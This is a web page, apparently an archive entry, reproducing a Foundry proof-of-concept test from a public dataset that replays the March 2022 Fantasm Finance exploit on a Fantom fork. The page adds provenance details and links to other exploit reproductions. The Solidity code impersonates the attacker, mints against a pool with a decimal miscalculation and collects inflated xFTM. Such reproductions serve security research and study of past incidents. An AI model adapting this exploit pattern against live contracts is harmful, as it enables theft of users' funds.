Public reproduction file
src/test/2022-03/Fantasm_exp.sol
Public reproduction file for dataset entry Fantasm Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7contract ContractTest is Test {8 CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);9 IERC20 fsm = IERC20(0xaa621D2002b5a6275EF62d7a065A865167914801);10 IERC20 xFTM = IERC20(0xfBD2945D3601f21540DDD85c29C5C3CaF108B96F);11 Pool pool = Pool(payable(0x880672AB1d46D987E5d663Fc7476CD8df3C9f937));12 address attacker = 0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400;13 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);15 function setUp() public {16 cheats.createSelectFork("fantom", 32_971_742); //fork fantom block number 3297174217 }19 function testExploit() public {20 cheat.prank(0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400);21 fsm.transfer(address(this), 100_000_000_000_000_000_000);22 emit log_named_uint("Before exploit, xFTM balance of attacker:", xFTM.balanceOf(address(this)));23 fsm.approve(address(pool), type(uint256).max);24 pool.mint(100_000_000_000_000_000_000, 1); // Due to the decimal error, the _xftmOut is bigger than it is supposed to be.25 cheat.roll(32_971_743);26 pool.collect();27 emit log_named_uint("After exploit, xFTM balance of attacker:", xFTM.balanceOf(address(this)));28 }29}Analysis
Dataset entry
Public Foundry test for “Fantasm Finance” (2022-03-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
File record
- Name
- Fantasm Finance
- Path
- src/test/2022-03/Fantasm_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7c14b5ad3ce6a734356f7936866d202f7d9eaa2b
- Language
- Solidity
- Size
- 30 lines
- Date
- 2022-03-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/Fantasm_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7c14b5ad3ce6a734356f7936866d202f7d9eaa2b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.